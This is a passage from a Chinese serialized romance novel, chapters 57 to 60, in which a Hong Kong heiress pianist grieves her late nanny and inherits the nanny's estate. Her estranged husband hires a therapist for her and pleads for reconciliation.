“她年轻的时候你们嫌她不吉利,把她逼得险些活不下去,孤身偷渡香港讨生活,她在香港落了脚打黑工,也不见你们有人接济她,她老了,外甥侄子没一个在她膝下孝顺!几十年没有音讯,现在人一死,你们居然有脸跑来要她的遗产?” “那时候大家都吃不上饭,谁有钱接济她?后来大家日子慢慢好起来了,我们怎么没管她!”男人一抬手,“我儿子来香港看过她好几次呢!” 贺羡棠大吼:“那她发病的时候你们在哪?!” 男人冷笑了声:“这我倒是想问问贺小姐了。我妹妹连基础病都没有,好好的人说死就死了,谁知道是不是在你们家听说了什么见不得人的事儿,被你们害死的!我们还想要讨个说法呢!” 信口雌黄。贺羡棠气的浑身发抖,指着大门说:“她的遗产你们一分钱也别想拿到,快点滚出去,否则我要报警了。” “你报啊!仗势欺人!我们平头老百姓是斗不过你们,可我就不信还没有天理了!这香港还是姓贺的不成?!” 贺羡棠呼吸急促,浑身抖的更厉害了。原本状态就不好,沈澈怕她又晕过去,上前揽着她肩膀:“cici,冷静点。” 方才不帮她讲话,现在叫她冷静点。贺羡棠怒火中烧,一甩胳膊:“你也滚!” 一不小心,沈澈脖子上被她的指甲划了好长一道伤疤,血珠滚落,刺眼的红。 【作者有话说】 刚刚后台崩了,差点没发出来( ̄▽ ̄) 57 第57章 ◎“cecilia,你能不能清醒一点!”◎ 贺羡棠愣住了。 发完脾气,她又后悔,想讲抱歉,沈澈先拢住了她的手。 “上楼去休息一会儿,我来解决。” 贺羡棠不知道他想怎么解决,但他声线沉稳,一如既往地令人安心。 她也没有继续纠缠下去的力气了。这些天四肢总是软绵绵的,上了二楼,找到绣姐还没织完的毛线裙子,就缩到单人沙发上不愿意动了,连灯也懒得开。 她攥着毛线裙,手心一片濡湿,想起她跟绣姐说“今年春天一定能穿上这条裙子”,可现在裙子还没织好。 贺羡棠怔怔地望着窗外,不知道过了多久,夜色又深几分,灯亮起来了,绣姐老家的那些亲戚走出去。 不知道沈澈怎么解决的。 或许是给了他们一笔钱。 又没多久沈澈上楼了,贺羡棠想问一下,见他手里捏着几张纸,视线再往上,他脖子上血迹未干。 贺羡棠又低头看自己的手指,她这些天没练琴,指甲又长出来了。 单人沙发狭窄,沈澈只能把贺羡棠抱起来。 “疼吗?”贺羡棠问。 “冇事(没事),不疼的。”沈澈拎起她指尖亲了一下,把那几张薄薄的纸递给她,“绣姐的遗嘱,她把所有财产都留给你了。” 贺羡棠借着昏黄的一点灯光看完了。 这份遗嘱立的非常详细,绣姐名下的房产,银行账户里的存款,还有一件件单独列出来的珠宝首饰,她去世后都将无偿赠予cecilia女士。 最后一页,签着“常锦绣”的名字。 有些意外,又觉得在意料之中。 贺羡棠看的很安静,沈澈一摸她的脸,果然又哭了。 “他们就这么走了?” 沈澈说:“让保安赶出去的。” 贺羡棠“哦”了声:“绣姐什么时候弄的这个?” 沈澈说:“去年冬天。” 那时候她侄子来香港找过她。 安静了很久,然后贺羡棠把那几张纸折起来放到一旁,窸窸窣窣的纸张声如蝉鸣。贺羡棠问:“你记不记得我有一对白贝母的四叶草耳钉?” 沈澈喉结滚动,含糊地“嗯”一声。 他不记得,这两年没见过贺羡棠戴什么白贝母。 贺羡棠说:“是我考茱莉亚音乐学院前绣姐送我的。她用工资给我买的,说四叶草代表幸运。我小时候,她也给我买手机,买裙子,买珍妮小熊曲奇饼干。” 沈澈捏着她耳垂,轻唤:“cici……” 贺羡棠仿佛听不见,兀自说:“她总是这样,什么都想给我。” 沈澈加重语气:“cecilia。” “为什么……为什么我没找个保姆照顾她呢。如果那时候有人在她身边,她是不是就不会死?” 沈澈惊觉原来贺羡棠一直处在一种沉重的愧疚之中。她怨恨命运,怨恨生死无常,怨恨这些虚无缥缈的东西,甚至怨恨她自己。 这份愧疚和悔恨已经快要把她压垮了。 沈澈把人抱起来,阔步下楼:“回家了,cecilia。” 石澳海边人少,沙子细软,天气好的时候,海水蓝的像玻璃。贺羡棠的这栋别墅坐拥一片私人沙滩和码头,只是从房子过去,要穿过一条修的很长的柏油路,路旁花木茂盛,这时节杜鹃、宫粉羊蹄甲、节果决明花都开了,夹杂在浓郁的翠绿之中。 沈澈弄了一辆景区里才会有的观光摆渡车,带贺羡棠去海边或者附近的小渔村散步。但贺羡棠出门的次数很少,一周也不一定能有兴致出去一次,大多数时候她就在卧室里,睡觉,发呆,很缓慢地在一场诀别中抽身。 四月就这么过去了。 五月初,贺羡棠收到了帕那索斯赛事组的邮件,邀请她在今年七月前往布鲁塞尔参加比赛,整个赛事的战线拉的非常长,自七月初开始,七月末结束,前半个月是第一轮比赛和半决赛,半决赛后,所有决赛选手有一周的时间准备,七月26日起,进行决赛。 贺羡棠很平静地查收了邮件,合上电脑,外面天色渐暗,海水沙滩和绵长的林荫道都笼罩在一片朦胧的深蓝色中。 室内还是没有开灯,只借一点微弱的天光。沈澈从她身后环住他,手心贴在她小腹上:“Mia和叶微说明天要来看你。” 人抱在怀里轻飘飘的,仿佛只剩一把骨架。沈澈觉得她瘦了至少十几斤。 “不要。”贺羡棠没心情见人。 “好。”沈澈换了个话题,“那你弹琴给我听吧,七月不是还要去比赛?正好练一练琴。” 贺羡棠说:“有点累。” 她的视线扫过*钢琴,又说:“不想去了。” 什么都提不起兴致,什么都不愿意做。沈澈叹了口气,将她额前的碎发别到耳后,一张小脸素净苍白,像天将明未明时很淡的月亮。 他很担心贺羡棠的精神状态,意志再这么消沉下去,身体也要拖垮了:“明天我找个人来陪你聊会天。” 贺羡棠问:“心理医生吗?” 沈澈沉默了。 贺羡棠烦了:“你没有事情做吗?不是要去匈牙利出差?” “让别人去了。” 沈澈侧过脸想去吻她,被贺羡棠躲开了,她同样侧着脸与他对视,眸光冷冰冰的,这样的目光刺了沈澈一下,果然她心情差,讲话也伤人。 “沈澈,我以为你一直是很忙的。还是说其实你并没有那么忙,只是以前你的时间都用来和光千照吃饭玩射击了?” 贺羡棠不耐烦地推开他:“你以前说我幼稚,批评我当不好沈太太,总是全世界到处飞不记得我生日不记得任何纪念日让Tina来敷衍我的时候想过这一天吗?现在来装什么好男人,只是拥有的时候不珍惜失去了才后悔吧?” 沈澈只是沉默。月亮升上来了,却没什么星光,整栋房子隐没在夜里。 就算跟自己说贺羡棠只是心情差,这些话并非她本意,也会忍不住伤心。 因为她说的一桩桩一件件都是事实,像一把把利刃专往他软肋上扎。 他的忽视冷落都是事实,他的不珍惜是事实,他的悔不当初也是事实。 那是不是,贺羡棠其实也一直没忘却这些事实? 春意盎然的夜里,窗户都开着,从海上飘来穿堂而过的暖风,沈澈如坠数九寒冬。 他肩颈有点僵,脊背挺的笔直,脸上神情莫测,更多的是一种伪装出来的淡然。 “本性难改。”贺羡棠说,“我真的又和你在一起了,你还是会变成那副鬼样子。” 沈澈舌尖扫过牙齿:“明天上午十点医生会过来,是位年轻的女医生,你不用太紧张。” 贺羡棠朝他喊:“我不需要!” 沈澈没再和她纠缠这个话题:“下楼去吃晚餐。” 他像个专制独裁的帝王,已经决定好所有事。 贺羡棠说:“我不吃!”她还挺知道吵架应该往哪吵才最厉害,“我要见赵珩,你根本就不如他!” 沈澈一把把她扛在肩上:“心理医生来之前你谁也别想见!” 贺羡棠被他“哐当”一下放到餐桌前。她头晕眼花,倔犟地撇开脸,态度很明确——她不想吃。 沈澈让人把窗帘拉开,窗户和灯全打开,顿时餐厅里亮起来,水晶吊灯被海风吹的轻晃。 一楼的餐厅靠近花园,望出去是一片春日盛景,修剪的整齐的绿茵草坪一望无际,喷泉边鲜花环绕、水池里满是绣球花。 贺羡棠看的眼晕:“拉上!” 沈澈坐在她对面,慢条斯理地喝一盅鸡汤:“不准拉!” 于是没人敢动,眼观鼻鼻观心地垂着脑袋。 让他们在这儿听吵架干什么,沈澈挥了下手,淡声说:“出去吧。” 贺羡棠说:“这是我家!” 沈澈腹诽,你家我家有什么区别。他轻轻点了下桌面:“吃饭。” 贺羡棠扭过头,一副要把自己饿死的样子。 中午就没吃什么东西。她这些天胃都熬坏了,饭也不好好吃觉也不好好睡,沈澈耐心地等了十天、半个月、一个月,等她慢慢地回过神来,接受逝者已去的现实,但贺羡棠显然仍然不愿意。 这些天她说的最长的话就是刚刚指责他那段。 或许吵吵架更好。 沈澈放下勺子,“叮当”一声:“想把自己饿死去跟绣姐团圆吗?” 贺羡棠瞪大眼睛看着他,有点不可置信。片刻后她愤愤地说:“关你什么事?!” “不关我的事。”沈澈恐吓她,“明天再不吃饭,我就让医生来给你打营养针。为了一个意外,饭也不吃觉也不睡琴也不练把自己折腾成这副样子!朋友也不要了父母也不管了,你知道Mia和叶微每天都打电话吗?知道你母亲担心到睡不着觉吗?知道我……” 沈澈顿了一下,把剩下的话咽回去。隔着长餐桌和她对视:“cecilia,你能不能清醒一点!” 贺羡棠眼睫一眨,两行泪滚下来。 “别哭了。” 这些天眼睛就没消肿。 贺羡棠垂着脸,眼泪很大颗地往下掉,灯光下像钻石。 沈澈起身,绕过餐桌在她身前蹲下,想替她擦眼泪,贺羡棠又躲开了,气不过还推开他的手。 沈澈把手搭在她膝盖上:“收声。” 贺羡棠声音最大:“你凶什么!” 能吼能吵架,比她之前总是一个人缩在卧室里的样子更像个活人。沈澈提着的心缓缓放下了。 “没凶。”沈澈站起来,拿起双筷子往她手里塞,平静地说,“快吃饭吧。你现在这个样子就算绣姐知道了也会难过,逝者已逝,生者唯一能做的就是好好活着,带着她那份儿一起活。” 贺羡棠也不知道有没有听进去。她吃了筷子炒芥兰,说:“明天我回去看看妈咪。” 很好。 沈澈微微点了下头。 贺羡棠又说:“你今晚搬走吧,我没什么事,会好好吃饭会睡觉会练琴,你不要在我这儿浪费时间了,平白耽误工作。” 坏了。 吵太过分哄不好了。 58 第58章 ◎“真心瞬息万变,我才不要那东西。”◎ 沈澈安排的心理医生姓陈,有一个在香港很烂大街的名字——叫陈嘉欣。她漂亮,但不扎眼,很温润的气质,和她面对面坐着,仿佛时间也能慢下来。 这是沈澈精挑细选出来的,女性,和贺羡棠同龄,斯坦福大学心理学硕士毕业,资历还算丰富。 一场心理咨询的时间不会太长,因为医患双方都无法保持长时间高强度的注意力集中。沈澈被赶出家门,只能掐着时间打陈嘉欣的电话,询问贺羡棠的情况如何。 陈嘉欣很专业:“这是贺小姐的隐私。” 沈澈额头青筋突突地跳:“我才是你的雇主。” 他付她大五位数的咨询费。 “sorry喽。”陈嘉欣说,“这是我的职业素养。” 沈澈深吸一口气:“那她心情好些了吗?” “只能说中规中矩,不过可以透露一点,”陈嘉欣耸了下肩,对赶来的管家抬手致歉,稍微躲远了点,才说,“您可以放心,贺小姐暂时没有自杀倾向。她表现出来的这种持续性的负性情绪在亲人离世或者某些重大变故后其实是很常见的。” 沈澈沉吟片刻:“什么时候能好?” 陈嘉欣说:“说不准,人又不是机器。” “你每周给她做一次心理咨询。” 有钱赚何乐而不为?沈澈是个很大方的雇主,陈嘉欣愿意为了他的钱空出时间。 挂了电话,转身,管家递上一个黑色购物袋,说是二小姐送的,陈医生下次来,可以不必穿高跟鞋。 陈嘉欣打开一看,是一双白色小羊皮芭蕾平底鞋,十分柔软,侧边一朵山茶花,很漂亮。 “应该是您的码数,6.5没错吧?”管家微笑着说,“是新的。” 她小幅度地转了下脚腕,下意识看向三楼的窗户,那里仍然窗帘紧闭。 陈嘉欣穿不惯高跟鞋,但是为了在客户面前维持更专业的形象,工作时她都会选择五公分的细高跟。 贺羡棠是怎么看出来的? 更重要的是,这鞋子不算贵,几千块,看起来又那么漂亮舒适,让人收起来毫无负担。 她这样高高在上的身份,居然也这么细心,玲珑剔透的心。 但仔细一想却也合理,只有贺羡棠这种从小在数不清的爱里长大,每天面对的世界都是充满善意的、热情的、温柔的人,才会不吝啬于向其他人散发善意。 普通人囿于一日三餐柴米油盐,自顾不暇,哪里会关心其他人的鞋子合不合脚,舒不舒服? 短暂失神后,陈嘉欣迅速抽离,对管家略一颔首:“多谢,也替我谢谢贺小姐。” 司机已经替她把车泊到身前,管家打开车门,弯下腰做了个请的动作:“不必客气。陈医生慢走。” 贺羡棠午后才回家看林樾。 她中午吃了点东西,在卧室的沙发上躺着休息,原本想睡一觉再练会琴,可觉没睡成,时间居然过的那么快,一眨眼就三点钟了。 依旧困乏,贺羡棠涂了点薄荷油才出门。司机开车,路上她还是犯困,在后座假寐。 没睡着就到浅水湾了。 院里的海棠已经谢了,满树枝繁叶茂,和普通的树无异,看不出什么特别的。第一眼贺羡棠都没认出它,多看了两眼,管家凑过来问:“要不要送到石澳那边去?问问沈大少是怎么照顾的,明年说不定还能开花。” “我不在那久住。”太远了,哪到哪都不方便。贺羡棠顿了下,说,“给沈澈送回去。” 管家默认,点了下头。 贺羡棠问:“妈咪呢?” 管家答:“太太在书房,三小姐陪着。先生和大少爷去公司了,今晚都会回来。” 贺羡棠点了下头,说“知道了”,又问:“她和爹地最近去体检了吗?” 管家说:“太太一切正常,先生有一点高血压,不过您不必担心,只是一点点而已,先生也一直都有吃降压药。” 贺羡棠嘱咐:“以后他们俩的体检报告都发我一份。” 这是孝心,管家自然应是。 林樾的书房在二楼,她管理着几家慈善基金,平日里也有一点工作要忙,不过大多数时间,她待在书房里都是看书。 年轻时她读到哲学博士,原本的理想是去大学里当教授。 贺羡棠上楼时遇见林樾身边的保姆去送咖啡,便说:“我去吧。” 她见到她很惊讶,好半天才笑起来,说:“太太见到您一定很高兴,她最近总是睡不好。” 是她不孝。 贺羡棠敲开书房的门,被林樾一把抱住时,脑海中又冒出了这句话。 “怎么瘦成这样。”林樾捧着她的脸左看右看,眼圈泛红。自从绣姐出事后,除了在医院见过一面,她就没再见过大女儿了。 “我说要去看你,你爹地说让你一个人静一静。给你打电话,又总是澈仔接,他只同我讲你没事,就是又要筹备葬礼又要练琴,有点忙,等忙完了就来看我。怎么就瘦成这样了……” 林樾知道这是借口,夜夜都睡不好,总想去看一看她,又怕她还没缓过来,自己去了,倒要让她反过来宽慰自己,便一直忍住了。 贺羡棠一抬手,贺舒双手接过咖啡。她压下心底一点酸涩,轻轻拍林樾的背:“我没事,瘦一点是不是更靓?” “胡说,你以前就最靓。”林樾满目担忧,“瘦成这样不好,抵抗力都会下降。在家住一阵好不好?让厨房多给你做点好吃的。” “好啊。”贺羡棠说,“今晚我想吃胜瓜虾干烩鱼肚。” 听到她胃口不错,林樾才放心一点,连忙叫人吩咐厨房准备,又拉着她在床边的沙发坐下聊天。 贺羡棠挽着她胳膊,絮絮叨地想到什么聊什么,讲到小时候的事,林樾哽了一下。 “我最近总是在想,是不是你小时候,爹地和妈咪太疏忽你了。”林樾攥着贺羡棠的手,“是不是我们……不称职。” 那时候家里出了些变故,贺齐作继承人是临危受命,他们夫妻俩忙的团团转,每天开不完的会,忙不完的应酬,打一场高尔夫,能见三波人。 她的三个孩子都和保姆很亲近。 绣姐是很好的人,这么多年她尽心尽力地照顾贺羡棠,她突然离世,林樾也替她惋惜。可是当林樾意识到贺羡棠心里母亲这个位置上其实有两个人时,她难免有些伤心。 “怎么会?”贺羡棠蹙着眉想了一会儿,“我多小的时候?” 小时候父母是有些忙,可远远没到疏忽她的地步,后来她十几岁出国读书,林樾每年还会抽几个月时间陪读。 林樾两手比了几十公分:“这么大……” 贺羡棠哭笑不得:“我根本不记事!” 林樾叹气:“你上幼稚园的时候我们还是很忙。” 贺羡棠一扬小脑袋:“可那时候我是浅水湾一霸,玩都玩不过来呢。” 她那时是孩子王,浅水湾这一片同龄的小孩子都是她的玩伴。 “说起来你小时候活泼多了。”林樾说,“还敢打架呢!” 贺羡棠说:“都是他们欺负赵珩。我现在这叫……稳重!” 贺舒托着腮听八卦,心说还稳重呢,是打不过了吧,忽然手机不停震动,她瞄一眼,看见来电提示,悄悄地溜出去。 “姐夫?” 沈澈的声音听起来有些疲倦:“你家姐回家了吗?” “嗯。” 沈澈说:“今晚你去陪她睡,她最近晚上总做噩梦。” 贺舒问:“你怎么知道家姐今晚在这住?” “妈咪没留她?” 是她妈咪不是他妈咪!怎么他叫的这么顺口?况且她自己的家姐哪里还用得着他来嘱咐! 当然贺舒也不敢吐槽,但她很敢趁火打劫:“五百万陪睡!一千万吹枕边风!” 沈澈:“……还是之前那个账户?” 贺舒“嘿嘿”一笑:“Yes!” 收了钱,贺舒办事很靠谱。晚上十点一过,她就带着枕头钻进贺羡棠卧室里。 “家姐!”她一只胳膊夹着枕头,两手扒着门框,探进一颗毛茸茸的小脑袋,眸光闪烁,“我今晚能来陪你睡吗?” 贺羡棠正靠在床上听演奏会,见状摘下耳机:“你说什么?” 贺舒大摇大摆地走进来,要往她床上爬:“我今晚来陪你睡啦!” 贺羡棠眼疾手快地拦腰挡住她:“你洗澡了吗?” “等一下再洗啦!先让我躺一会儿,我换睡衣了!”贺舒往她床上扑。 贺羡棠跪直身子,一手拎着她,一手拎着她的枕头:“先洗澡,枕头拿回去,今晚用我的。” “不行!”贺舒抱着她的宝贝枕头,“我认枕头!” 贺羡棠冷冰冰道:“回你自己房间睡。” 贺舒能屈能伸:“我今晚也可以不认。” 洗完澡,她带着一身橘子香钻进贺羡棠被窝,伸手关上灯,像个乖宝宝一样宣布:“睡觉吧!” 贺羡棠疑惑:“这么早?” 贺舒一条胳膊横在贺羡棠腰上:“早点睡吧家姐,你最近是不是都没休息好?好大的黑眼圈哦。” 腰上温温热热的。贺羡棠也躺下,渐渐适应了昏暗的环境,她一偏头,蹭到贺舒小巧的鼻尖,她正盯着她看。 小时候贺舒一直这么仰望她。她最小,是妹妹仔,拖着布娃娃跟在贺羡棠后面,“家姐家姐”叫的最雀跃。 贺羡棠揉了把她头发:“谢谢你陪我。” 贺舒咧开嘴傻笑:“是姐夫……沈澈让我来的。他说你晚上总做噩梦。家姐,不要难过,你还有我们呢。” 贺羡棠“嗯”了声,思绪又飘回昨晚。 她心情差,说话也懒得遮掩,一半是气话,一半是真心话。就像她将错就错地和沈澈纠缠,一半是想让他体验一点儿自己曾经的感受,一半是贪恋他给的情绪价值。 什么时候变得这么别扭了。 不过好在,话都讲完了说清了。 贺舒快要睡过去了,迷迷糊糊听见贺羡棠讲:“你以后结婚,要选对人,不要像家姐一样蹉跎。” 她大脑快宕机了,问:“什么样才是对的人?” 贺羡棠说:“如果没法两情相悦,就选爱你的吧,不要选你爱的。” 贺舒眼皮沉甸甸的睁不开了:“真心瞬息万变,我才不要那东西。” 59 第59章 ◎贺羡棠说:“你好自恋。”◎ 沈澈看着被送回来的海棠树,头疼不已。 花已经落尽了,一树浓绿。 贺家的老管家风度翩翩,双手交叠在身前,态度恭谨地弯一弯腰:“二小姐吩咐的,送来给沈董观赏。” “观赏”。一朵花都没有,观赏什么? 沈澈弹一弹烟灰,请他:“阿叔,进来喝杯茶吧。” 管家笑道:“还有事要忙,恐怕要辜负沈董美意了。” 沈澈意兴阑珊地挥一挥手,让人把他送出去。 清风拂来,这个春天刚长出来的叶子簌簌地响,沈澈指尖的烟燃尽,烟灰飘了几星,消逝在风中。 沈澈坐在院子里看这棵海棠,忽然想起来五六年前贺羡棠种下它时的样子,也是这样一个春夜,风也柔和,月光也柔和,贺羡棠指挥着园丁种树,沈澈刚加完班,踏月归家。 车一停下,一具很软的身子就扑上来了,她出了点汗,刘海湿漉漉地黏在额头上,仰着脸问:“你看这棵树怎么样?” “海棠吗?” 贺羡棠夸他:“好眼力!” 沈澈不解:“海棠在香港开不了花吧?” 贺羡棠说:“那你别管。” 她想种,沈澈也就随她去了。 那夜的春风中,贺羡棠笑靥如花,种好后还得意扬扬地找他邀功,抬头挺胸一拍胸脯,说:“怎么样?很漂亮吧?万一开花了更漂亮呢!” 沈澈翻过一页报纸:“从植物学的角度来讲,不存在这种万一。” 贺羡棠长长地“嘁”了声:“你怎么还看报纸啊?” 沈澈抖开拿到她眼前,娱乐版头版头条上是他弟。贺羡棠笑的前仰后合,跳到他腿上和他讲八卦,讲完了,话题又转个弯回去:“如果开花了怎么办?” 沈澈随口道:“我跟你姓。” 那是刚结婚时才有的和谐时光。不久后邢璋进入集团,沈澈愈发忙起来了。 沈澈虽然不喜欢贺羡棠,但既然同意联姻,也是抱着与她携手白头的念头去的,只是他从来没想过,贺羡棠会先叫停。 当时只道是寻常,现在想来,是一种很迟钝的痛。 月亮西沉。更深露重,风便冷了。沈澈理了下袖口起身,胸腔里穿出很闷的一声咳——是上次肺炎没养好的缘故。 他终于明了,贺羡棠那晚讲的是真心话。 / 贺羡棠在浅水湾住了一周,林樾执着于要把她养胖一点,让厨房变着花样做东西吃,中餐西餐,粤菜西班牙菜淮扬菜,贺羡棠就算胃口平平,在她期待的目光中,也勉强多吃几口。 她怕胖,慌忙逃回石澳。 陈嘉欣再次去石澳贺羡棠做心理咨询时,她脸庞圆润了些,也有心情练琴。 她带了盒马卡龙当小礼物:“是我自己做的。” 贺羡棠说:“谢谢。” “是回礼。”陈嘉欣站起来给她看,她穿了上次她送的平底鞋,“鞋子很舒服,应该我谢你。我那么多朋友、同事、客户,没有人知道我不爱穿高跟鞋。” “你喜欢就好。” 声音那么柔,陈嘉欣不由自主地看向她。 三角钢琴摆在窗边,挑高的空间,视野开阔,高大的白色拱形窗外绿草如茵,窗帘拢起,随着微风轻轻摇曳,柔软的纱一晃,为眼前的青绿蒙上一层朦胧的色彩。 贺羡棠就在这片和谐的白绿色中央。她穿一条希腊风白色长裙,裙摆也轻盈,起身时那片衣料如水波般晃动。 “去书房吗?” “就在这吧。”陈嘉欣说,“景色很靓。” 贺羡棠复又坐下。 陈嘉欣和她闲聊:“您每天都会弹琴吗?” “上个月没有弹。”贺羡棠抚了下钢琴,“最近几天,一天两三个小时吧。” 陈嘉欣就和她聊一些和古典乐有关的话题。贺羡棠渐渐放松下来,和她讲:“七月份我有一场很重要的比赛,其实我要开始练琴了,可我每天都犯懒。” “帕那索斯吗?是很瞩目的国际赛事呢。”陈嘉欣斟酌着,“我看过你还在读书时的访谈,说不喜欢参加比赛,希望把更多的时间投入到精进琴艺上,怎么今年有兴趣过去?” 她身上有种魔力,让人愿意倾诉。贺羡棠于是和她讲,被耽误的事业,三十岁女钢琴家的困境,寥寥带过,不算详细,不过陈嘉欣抓住了重点——“耽误”。 贺羡棠是她配合度很高的客户,修养极好,即便稍被冒犯也不会放在心上。陈嘉欣冒险问:“被耽误是因为……和沈董结婚吗?” 贺羡棠沉默了,良久她说:“我们换个话题吧。” “好。”陈嘉欣略带歉意地笑了下,“您想试试催眠吗?” 贺羡棠还挺好奇的,她只在影视剧里看过这个:“是什么感受。” 陈嘉欣说:“每个人都不一样,不过你的意识始终是清醒的,有点像自动驾驶。大部分情况下,你都会比较轻松,就是一场心理按摩。不过你想尝试解决恐惧问题的话,就可能会出现一些你害怕的画面。” 谁没事想体验害怕的东西,贺羡棠说:“那我还是更想要轻松一点。” 陈嘉欣朝她比“ok”:“没问题,我们换个房间吧,等会儿我会用语言引导你,这期间你随时可以叫停。” 她们去了影音室。这是贺羡棠第一次体验催眠,没有影视剧里那么神秘,她也没看见什么画面,眼前只是好像有暖黄色的光影在流动,整个人软绵绵的很舒服,像晒太阳一样,平静温暖的感受。 贺羡棠随着陈嘉欣的指令一步步苏醒,睁开眼她说:“挺神奇的!你好厉害!” 陈嘉欣笑道:“你也很厉害,第一次体验催眠就能全身心地相信我。” 贺羡棠被一夸就高兴。她现在有点乐意尝试陈嘉欣说的“消除恐惧”那种催眠了:“下次我能试试另一种吗?” 陈嘉欣说:“我需要评估你的状态能不能承受。” 贺羡棠简直是医生最喜欢的那种病人:“好啊。” 从石澳别墅离开,在最外面一道铁艺大门,陈嘉欣遇见了沈澈。 车牌号只有一个6的迈巴赫太耀眼,陈嘉欣的白色小宝马在他旁边像玩具车。 沈澈挺尊重医生的,纡尊降贵地落下车窗:“她今天怎么样?” 陈嘉欣摘下墨镜:“比上次好很多,家果然是最好的抗抑郁药。” 沈澈若有所思地点了下头。 迈巴赫没开走,陈嘉欣以为他想聊天,于是说:“沈董,我真的挺理解你的。如果我是个男人,我也会无可救药地爱上cecilia。” 沈澈睨了她一眼。那一眼不带任何感情,比塞北冬天的寒冰还冷。 陈嘉欣忍不住腹诽,不是他想聊的吗?怎么还聊急眼了呢? 岗亭的保安走出来,比了个禁止通行的手势。 门是开着的,保安站在路边,这种。沈澈揉了下太阳穴:“开进去。” 迈巴赫徐徐开进去了。 保安:“……” 陈嘉欣:“……” 贺羡棠伏在钢琴上休息,她应该练琴了,可不太想起。管家给她洗了一点水果,她又想起绣姐。 已经过去一个多月了,贺羡棠心里每每冒出绣姐已经离世的念头,还是不敢相信。 她真的见不到她了吗?永远也见不到? 永远能有多远? 贺羡棠有种不真实感。 她被人抱起来放在钢琴上,两腿悬空,惊了一下,看清来人,细眉拧起:“你怎么进来的?” “你家保安防君子不防小人。” 贺羡棠气的要踢他,被他按住膝盖。 “你松手!” “嘘,嘘。”沈澈说,“怎么这么大的脾气?我刚从欧洲回来,在法国带了盒巧克力,你要吃吗?刚刚交给管家了。” “不吃。”贺羡棠拂开他的手,跳下钢琴,“你可以走了。” 她想上楼,沈澈挡住她的去路,贴的那么近,贺羡棠只好微微向后仰着脑袋。 “真生气了?”沈澈说,“我那天不是故意和你吵架的,我就是觉得你发发火可能更好一点儿。” 贺羡棠上下打量他。 他怎么装的那么云淡风轻?好像根本没听过她骂他的那一番话。 贺羡棠都想揪着他的衣领喊:“我骂你了你听见了吗我骂你了!” 但她毫不怀疑这人会一脸淡定地说:“是啊。然后呢?怎么了?” “让一下。”贺羡棠说,“顺便从我家离开。” 沈澈像听不见:“怎么把海棠给我送回来了?” 贺羡棠说:“因为像我那天讲的,我不想再和你继续纠缠下去。” “你在讲气话。” “我讲的都是真心话。” 沈澈说:“是吗?那怎么还允许我当你的炮友?” 贺羡棠迎着他的目光:“因为我想让你感受我以前的感受。故意爽约,故意不回你消息,故意在你来找我时离开,故意不打招呼就飞去澳洲。” 她轻轻笑了下:“不过我不如你,我是故意的,你不是。” “那我允许你玩弄我的感情。”沈澈捏着她的手指,在无名指上轻轻摩挲,说这话时眉眼间溢出点沉溺,“这是被爱者的权利。从前我有,现在你有,很公平。” 贺羡棠说:“我不需要这种公平。” 沈澈说:“你又在讲气话。cecilia,如果真的一点都不喜欢我,或者说一点都不恨我,为什么还要故意做这些?” 那些欢愉是不会骗人的。 “咚”的一声,声波在耳中一圈一圈地漾开,是心脏的回声。 像猛然暴露自己弱点的小动物,贺羡棠仓促地垂下眸。 “对一件你无感的东西,你应该看都不会看他一样才对。”沈澈看着她,“你在害怕什么,贺羡棠?” 贺羡棠说:“你好自恋。” “那你抬起眼看看我。”沈澈托着她下巴轻轻抬起来,贺羡棠迫不得已直视他,“你害怕什么?” 受过一次伤的人,只会害怕再次受伤。一次还能说是奋不顾身的勇气,第二次只能说是蠢。 沈澈近乎哀求:“如果我说,我敢再次让你伤心,我愿意净身出户的话,cecilia,你愿意再给我一个继续参与你生活的机会吗?” 【作者有话说】 沈大少:入室抢劫般的爱。 60 第60章 ◎天上掉馅饼都很难掉馅这么足的。◎ “除了远南集团,我个人名下的所有财产,动产不动产,都可以归你所有。”沈澈说,“如果你愿意,我们现在叫律师来做公证。” 他指尖有些凉。 一次性压上所有的筹码,不管在赌桌还是谈判桌上都是大忌。沈澈明明深谙此道,他二十几岁在拉斯维拉斯玩最简单的21点一掷千金,同年也在谈判桌上签百亿订单。可面对贺羡棠时,什么循循善诱的技巧都被他抛诸脑后了。 贺羡棠注视着他。 即便抛却集团不谈,沈澈的个人财产是很大一笔钱,世界各地的物业、他私人投资的股份、甚至还有一座私人岛屿也是在他名下的,不入家族办公室。 这笔数字大到贺羡棠也想象不出。 如果她是个普通人,她真的要心动了。和沈澈在一起意味着共享他的名誉和权利,如果分开还能独享他所有的财产,这种他能给出的安全感很容易让人沉迷。 天上掉馅饼都很难掉馅这么足的。 可是对于贺羡棠来说,钱和数字没什么区别。 十八岁之后,林樾和贺齐给的股份分红就已经足够她花十辈子,她不想创业经商,也懒得在期货市场上倒腾动辄九位数以上的订单,因此很多时候对钱这东西都没什么概念。 沈澈给出的筹码就很难打动她了。 “冷静一点吧,沈生。”贺羡棠拂开他的手,“我觉得现在的生活挺好的。” 沈澈说:“我不好。” 如果再来一次,他会正视自己的内心,会在贺羡棠扑向他时接住她。他会接住她每一次的拥抱,每一个吻,每一声喜欢。 可是没法重来。 他已经不知道如何弥补。 “以前我喜欢你是我的事情。我们是联姻才结婚的,作为利益共同体来讲,你很尽职,我不能要求更多,因为喜欢你付出的一切都是我自愿的,我不该求回报。”贺羡棠轻声说,“同理,现在你喜欢我也是你的事情,沈澈,这也很公平。” 沈澈脸色很灰白,像一幅素描画。 “我累了。” 贺羡棠转身上楼。 不欢而散的一天。只是从那天后,每天都有人往家里送花, 陈嘉欣依旧每周来一次,但不允许贺羡棠尝试“恐惧消除”类的催眠。她的状态倒一天比一天好,无论当时如何绝望的事情,只要日子还继续过,人总是会走出来的。 最开始贺羡棠偶尔去看绣姐,渐渐也不怎么去了,梦里她的面容也越来越模糊。她怕有一天会彻底遗忘,就找了张照片摆在书房。 那是贺羡棠考上茱莉亚后,入学第一天,她们在林肯中心拍的。照片上两个人的笑容都洋溢着热情。 五月底,Mia约贺羡棠去参加一个朋友的生日宴。 香港富豪圈子就那么大,谁和谁都认识,除了像沈澈贺少川那种继承人,大家都在一块儿玩,来来去去也就是party看秀下午茶,也算是另一种社交。 不过这个一块儿玩里,也分小圈子。比如Mia就和地产大亨李家的小女儿不对付,李家小姐会出席的派对,Mia一定会用明星走压轴红毯的精力来打扮自己。 贺羡棠也和家里做银行业的sofia不对付,只不过sofia在的地方,她都避开,眼不见心不烦。 贺羡棠一向不喜欢出入这些场合。这么多人精聚在一起,男男女女说不定还能擦出点爱情的火花,男男和女女,就免不了攀比了。 贺羡棠问:“谁?” Mia说:“Olivia啊!” 